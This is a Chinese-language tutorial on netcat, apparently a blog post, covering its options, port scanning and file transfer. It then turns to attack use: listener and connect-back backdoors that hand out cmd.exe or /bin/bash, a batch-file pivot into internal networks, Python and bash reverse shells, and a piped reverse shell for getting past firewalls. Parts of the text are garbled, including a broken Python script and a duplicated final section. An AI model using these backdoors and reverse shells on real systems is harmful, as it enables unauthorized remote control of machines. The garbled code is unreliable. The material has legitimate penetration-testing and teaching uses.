文章目录
- Netcat
-
- Netcat基本概述
- 参数的介绍及使用
-
- 内容重定向
- 常用方法
- netcat 建立后门
-
- windows建立后门
-
- 监听型后门
- 连接型后门
- Linux建立后门
-
- 监听型后门
-
- nc -l -p [port] -e /bin/bash
- 连接型后门
- 连接转发
-
-
-
- 向内网中能够连接的机器中写入批处理文件(用于nc远程连接内网中不能通信的机器)
- 客户端nc远程连接内网中能够连接的电脑
-
-
- 反弹shell
-
- 基于Python的shell反弹
- 基于Bash的shell反弹
- 内网穿透
-
- 被防火墙拦截(不支持nc -e参数)
- 被防火墙拦截(不支持nc -e参数)
Netcat
Netcat基本概述
netcat又叫做瑞士军刀,是黑客和系统管理员常用的网络工具,初开发的目的是文件传输,后来发展除了很多强大的功能
**注意:**一般不建议在生产环境安装nc,因为nc除了可以批量主机服务扫描外,还支持端口代理、文件传输,容易造成安全隐患
参数的介绍及使用
-4 使用IPv4版本的IP地址
-6 使用IPv6版本的IP地址
-b 允许UDP广播
-c string(sudo ifconfig) 远程连接后要执行的shell code 命令。字符串被传递给/bin/sh
-C 发送CRLF(回车换行)作为行尾
d 脱离命令窗口,在后台运行,常用于后门建立过程
-e filename(.exe/…) 远程连接后返回的程序,常用于后门建立过程
-g gateway 设置网关,常用于突破内网限制
-G num 路由跳数(例如4,8,12…)
-h 查看命令参数
-i secs 设置每发送一个行数据的时间间隔
-l [localhost address] 设置netcat处于监听状态等待链接
-L [localhost address]设置netcat处于监听状态等待链接,当客户端断开,服务端依旧回到等待状态
man ~ 获得详细信息
-n 不对目标机器进行DNS解析
使用过程中使用-n参数只传入IP,减少了Netcat把域名解析成IP的过程,这样可以节省时间提高效率
-o file 设置传输十六进制的数据
-p [localhost port] 端口
-q seconds 在标准输入流上读取文件(判断EOF),等待指定的秒数,然后退出。如果秒数为负数,永远等待
-r 设置netcat随机化的端口号
-s [addr] 设置telnet源地址(用于源地址欺骗)
-t 回复telnet的请求数据包
-T type 设置TOS标志(类型可以是“最小化延迟”,“最大化吞吐量”、“最大化可靠性”或“最小化成本”)
-u 设置netcat使用UDP模式
-v 表示对错误进行详细输出
可以用来获取banner信息
>echo " " | nc -v -n -w1 [ip:port]
快速端口扫描
>nc -v -n -z -m1 [ip:port]
-w secs 最大等待连接时间(若time时间内无法连接到服务器端,则断掉连接,防止"假死"状态)
-z zero I/O模式,专用于端口扫描。对于目标IP发送的数据表中不包含任何payload,这样可以加快扫描速度(0 标准输入)
-z参数默认使用的是TCP类型的数据扫描,如果需要进行UDP扫描,则需要使用-u参数
内容重定向
nc [localhost port]< file 上传文件
nc [localhost port] > file 下载文件
常用方法
常用 | Server | Client |
---|---|---|
端口扫描 | nc -z -n -v [IP Address] [Port] | |
获取banner信息 | nc -n -v [IP Address] [Port] | |
远程连接 | nc -l [port] | nc [IP Address] [Port] |
文件传输(下载) | nc -l [port] < file | nc [IP Address] [Port] > file |
文件传输(上传) | nc [IP Address] [Port] > file | nc -l [port] < file |
多文件传输(下载) | tar -cvf filename | nc -l [port] | nc [IP Address] [Port] | tar -xvf |
指定使用的压缩方法(以bzip2为例) | tar -cvf filename | bzip2 -z | nc -l [port] | nc [IP Address] [Port] | bzip2 -d | tar -xvf |
加密发送数据 | nc localhost port|mcrypt -flush -bare -F -q -d -m ecb > file | mcrypt -flush -bare -F -q-m ecb < file | nc [IP Address] [Port] |
视频流文件(下载) | cat video.avi|nc -l [port] | nc [IP Address] [port]|mplayer -vo x11 -cache 3000 |
克隆一个设备配置 | dd if=/dev/sda|nc -l port | nc -n [IP Address] [port]|dd of=/dev/sda |
netcat 建立后门
windows建立后门
监听型后门
能够连接值服务端,并从服务端返回客户端一个shell
nc -l -p [port] -e cmd.exe
连接型后门
能够连接值服务端,给服务端提供一个shell
nc [IP Address port] -e cmd.exe
Linux建立后门
监听型后门
nc -l -p [port] -e /bin/bash
连接型后门
nc [IP Address port] -e /bin/bash
连接转发
当有客户端连接该服务端时,连接的客户端和通过服务端连接到 target port上 实现了连接转发功能。(端口转发)
向内网中能够连接的机器中写入批处理文件(用于nc远程连接内网中不能通信的机器)
echo nc [IP Address:port] > xx.bat
客户端nc远程连接内网中能够连接的电脑
nc -l -p [localport] -e xx.bat
有一个特殊的文件/dev/tcp,打开这个文件就类似于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。1. 打开/dev/tcp以读写方式打开/dev/tcp,并指定服务器名为: www.csdn.net,端口号为:80,指定描述符为8exec 8<>/dev/tcp/www.csdn.net/80要注意的是:/dev/tcp本身是不存在的。
2. 向文件中写入数据向文件中随便写一些数据: echo -e "GET">8&
3. 读文件读取返回的信息:cat<&8
反弹shell
基于Python的shell反弹
!/usr/bin/python
import os,subprocess,sockets=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect("IP","port")
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2
p=subprocess.call(["/bin/sh","-i"])
基于Bash的shell反弹
##### 反弹shell命令
>bash -i >& /dev/tcp/ip/port 0>&1
##### 交互模式运行bash/shell
>bash -i
##### \>&重定向度
##### 0 标准输入 1 标准输出 2 错误输入输出
##### PC端就收Netcat指令
>nc -lvp port
内网穿透
被防火墙拦截(不支持nc -e参数)
nc ip port | /bin/bash | nc ip port
通过管道反弹shell命令
此时需要提供两个端口,一个用于连接,一个用于监听
内网穿透
被防火墙拦截(不支持nc -e参数)
nc ip port | /bin/bash | nc ip port
通过管道反弹shell命令
此时需要提供两个端口,一个用于连接,一个用于监听